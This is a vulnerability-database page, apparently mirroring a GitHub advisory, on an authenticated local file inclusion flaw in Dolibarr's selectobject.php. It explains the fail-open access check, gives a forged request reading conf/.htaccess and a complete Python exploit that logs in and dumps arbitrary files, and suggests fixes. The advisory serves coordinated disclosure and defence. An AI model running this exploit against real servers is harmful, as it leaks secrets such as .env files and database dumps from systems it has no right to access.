Media

Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php

  • Publicada: 27.03.2026
  • Actualizado: 11.10.2026 10:22

Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure

Target

Dolibarr Core (Tested on version 22.0.4)

Summary

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).

Vulnerability Details

The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.

  • Arbitrary File Inclusion BEFORE Authorization: The endpoint parses the objectdesc parameter into a $classpath. If fetchObjectByElement fails (e.g., by providing a fake class like A:conf/.htaccess:0), the application falls back to dol_include_once($classpath) at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions.
  • Access Control Bypass (Fail-Open): At line 102, the application finally attempts to verify permissions by calling restrictedArea(). Because the object creation failed, the $features parameter sent to restrictedArea() is empty (''). Inside security.lib.php, if the $features parameter is empty, the access check block is completely skipped, leaving the $readok variable at 1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.

This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.

Steps to Reproduce

  • Log in to the Dolibarr instance with any user account (no specific permissions required).
  • Intercept or manually forge a GET request to the following endpoint:
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0
  • Observe the HTTP response. The contents of the conf/.htaccess file will be reflected in the response body right before the PHP Fatal Error message.
  • (Optional) Run the attached Python PoC to automate the extraction:
python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess

Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

Suggested Mitigation

  • Input Validation & Whitelisting: The $classpath must be strictly validated or whitelisted before being passed to dol_include_once().
  • Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified.
  • Enforce Fail-Secure ACLs: Modify restrictedArea() in core/lib/security.lib.php so that if the $features parameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.

Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards, Vincent KHAYAT (cnf409)

Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

PoC Script

python
#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""

import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar

LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request(
    opener, base_url, method, path, params=None, data=None, timeout=15
):
    url = f"{base_url.rstrip('/')}{path}"
    if params:
        url = f"{url}?{urllib.parse.urlencode(params)}"
    payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
    req = urllib.request.Request(url, method=method.upper(), data=payload)
    req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
    req.add_header("Accept", "text/html,application/xhtml+xml")
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as err:
        return err.code, err.read().decode("utf-8", errors="replace")

def extract_login_token(page):
    for pattern in (
        r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
        r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
    ):
        match = re.search(pattern, page, flags=re.IGNORECASE)
        if match:
            return match.group(1)
    return ""

def looks_authenticated(body):
    return any(marker in body for marker in LOGOUT_MARKERS)

def clean_included_output(body):
    for marker in (
        "<br />\n<b>Warning",
        "<br />\r\n<b>Warning",
        "<br />\n<b>Fatal error",
        "<br />\r\n<b>Fatal error",
    ):
        pos = body.find(marker)
        if pos != -1:
            return body[:pos].rstrip()
    return body.rstrip()

def login(opener, base_url, username, password):
    code, login_page = request(opener, base_url, "GET", "/")
    if code >= 400:
        return False, f"HTTP {code} on login page"
    token = extract_login_token(login_page)
    code, after_login = request(
        opener,
        base_url,
        "POST",
        "/index.php?mainmenu=home",
        data={
            "token": token,
            "actionlogin": "login",
            "loginfunction": "loginfunction",
            "username": username,
            "password": password,
        },
    )
    if code >= 400:
        return False, f"HTTP {code} on login request"
    if looks_authenticated(after_login):
        return True, ""
    code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home")
    if code < 400 and looks_authenticated(home):
        return True, ""
    return False, "Invalid username or password"

def read_file(opener, base_url, relative_path):
    status, body = request(
        opener,
        base_url,
        "GET",
        "/core/ajax/selectobject.php",
        params={
            "outjson": "0",
            "htmlname": "x",
            "objectdesc": f"A:{relative_path}:0",
        },
    )
    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):
        raise RuntimeError("Session expired or not authenticated")
    return status, body, clean_included_output(body)

def parse_args():
    parser = argparse.ArgumentParser(
        description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)."
    )
    parser.add_argument(
        "--url",
        default="http://127.0.0.1:8080",
        help="Dolibarr base URL (default: http://127.0.0.1:8080)",
    )
    parser.add_argument("--username", required=True, help="Dolibarr username")
    parser.add_argument("--password", required=True, help="Dolibarr password")
    parser.add_argument(
        "--file",
        dest="target_file",
        required=True,
        help="Target file to read (e.g. conf/.htaccess).",
    )
    return parser.parse_args()

def print_result(path, status, raw, clean):
    print(f"\n[+] HTTP status: {status}")
    print(f"[+] Requested file: {path}")
    print("=" * 80)
    if clean:
        print(html.unescape(clean))
    else:
        print("(No readable output extracted)")
    print("=" * 80)
    if clean != raw.rstrip():
        print("[i] PHP warnings/fatal output were trimmed from display.")

def summarize_error_body(body, limit=1200):
    text = html.unescape(body).strip()
    if not text:
        return "(Empty response body)"
    if len(text) > limit:
        return text[:limit].rstrip() + "\n... [truncated]"
    return text

def main():
    args = parse_args()
    opener = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(CookieJar())
    )
    ok, reason = login(opener, args.url, args.username, args.password)
    if not ok:
        print(f"[!] {reason}")
        return 1
    print("[+] Login successful.")
    try:
        status, raw, clean = read_file(opener, args.url, args.target_file)
        if status >= 400:
            print(f"[!] HTTP {status} while reading target file.")
            print("=" * 80)
            print(summarize_error_body(raw))
            print("=" * 80)
            return 1
        print_result(args.target_file, status, raw, clean)
        return 0
    except Exception as exc:
        print(f"[!] Error: {exc}")
        return 1

if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except KeyboardInterrupt:
        print("\nInterrupted.")
        raise SystemExit(130)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer dolibarr/dolibarr <= 22.0.4 sin corrección

Referencias

Puntuación CVSS 6.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-98
Plataforma
Composer
Paquete
dolibarr/dolibarr
Publicada
27.03.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-2mfj-r695-5h9r - CC BY 4.0

Historial de vulnerabilidades: dolibarr/dolibarr

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (126) en el archivo
Entradas en total
126
Primera → última
11.2019 06.2026
Sin corrección
49
Explotada en ataques
0

Distribución por gravedad

  • Crítica 27
  • Alta 38
  • Media 56
  • Baja 5

Divulgaciones por año

  1. 2019: 1
  2. 2020: 2
  3. 2021: 5
  4. 2022: 87
  5. 2023: 9
  6. 2024: 9
  7. 2025: 4
  8. 2026: 9
Gravedad:
  1. Crítica · 9.8 CVE-2018-25357 >= 7.0.0, < 7.0.4, < 6.0.8 7.0.4, 6.0.8
  2. Alta · 8.8 CVE-2026-31018 <= 15.0.3 sin corrección
  3. Crítica · 9.1 CVE-2026-23500 <= 22.0.4 sin corrección
  4. Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php esta entrada
    Media · 6.5 CVE-2026-34036 <= 22.0.4 sin corrección
  5. Alta · 8.8 CVE-2025-56588 < 21.0.3 21.0.3
  6. Alta · 8.8 ghsa-49xw-hw94-fmv2 <= 21.0.2 sin corrección
  7. Alta · 5.5 CVE-2024-40137 < 19.0.2 19.0.2
  8. Alta · 8.8 CVE-2024-37821 < 19.0.2 19.0.2
  9. Crítica · 9.1 CVE-2024-5315 <= 9.0.1 sin corrección
  10. Crítica · 9.1 CVE-2024-5314 <= 9.0.1 sin corrección
  11. Alta · 7.1 CVE-2024-23817 >= 18.0.4, < 18.0.7 18.0.7
  12. Alta · 7.5 CVE-2024-31503 <= 19.0.0 sin corrección
  13. Alta · 7.5 CVE-2023-4197 < 18.0.2 18.0.2
  14. Alta · 8.8 CVE-2023-38887 < 17.0.1 17.0.1
  15. Crítica · 9.6 CVE-2023-38888 < 17.0.1 17.0.1
  16. Alta · 7.5 CVE-2023-33568 >= 16.0.0, < 16.0.5 16.0.5
  17. Crítica · 9.8 CVE-2022-4093 >= 16.0.1, < 16.0.3 16.0.3
  18. Crítica · 9.8 CVE-2022-43138 < 14.0.1 14.0.1
  19. Crítica · 9.8 CVE-2022-40871 <= 15.0.3 sin corrección
  20. Crítica · 9.8 CVE-2021-33816 >= 13.0.2, < 14.0.0 14.0.0
  21. Alta · 7.2 CVE-2020-35136 < 12.0.4 12.0.4
  22. Alta · 8.8 CVE-2020-14209 < 11.0.5 11.0.5
  23. Alta · 8.8 CVE-2020-12669 < 12.0.0 12.0.0
  24. Alta · 8.8 CVE-2020-11825 <= 10.0.6 sin corrección
  25. Crítica · 9.8 CVE-2019-19212 >= 3.0, <= 10.0.3 sin corrección
  26. Alta · 7.5 CVE-2019-19209 < 10.0.3 10.0.3
  27. Crítica · 9.8 CVE-2020-7995 = 10.0.6 sin corrección
  28. Alta · 8.0 CVE-2019-15062 >= 10.0, < 10.0.2 10.0.2
  29. Alta · 8.8 CVE-2019-11200 < 9.0.3 9.0.3
  30. Alta · 8.0 CVE-2019-11201 < 9.0.3 9.0.3
  31. Alta · 8.8 CVE-2019-1010054 = 7.0.0 sin corrección
  32. Crítica · 9.8 CVE-2017-7886 = 4.0.4 sin corrección
  33. Crítica · 9.8 CVE-2017-7888 <= 4.0.4 sin corrección
  34. Crítica · 9.8 CVE-2017-9435 < 5.0.3 5.0.3
  35. Alta · 8.8 CVE-2017-9840 <= 5.0.3 sin corrección
Mostrar más (20) Mostrando 40 de 66

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.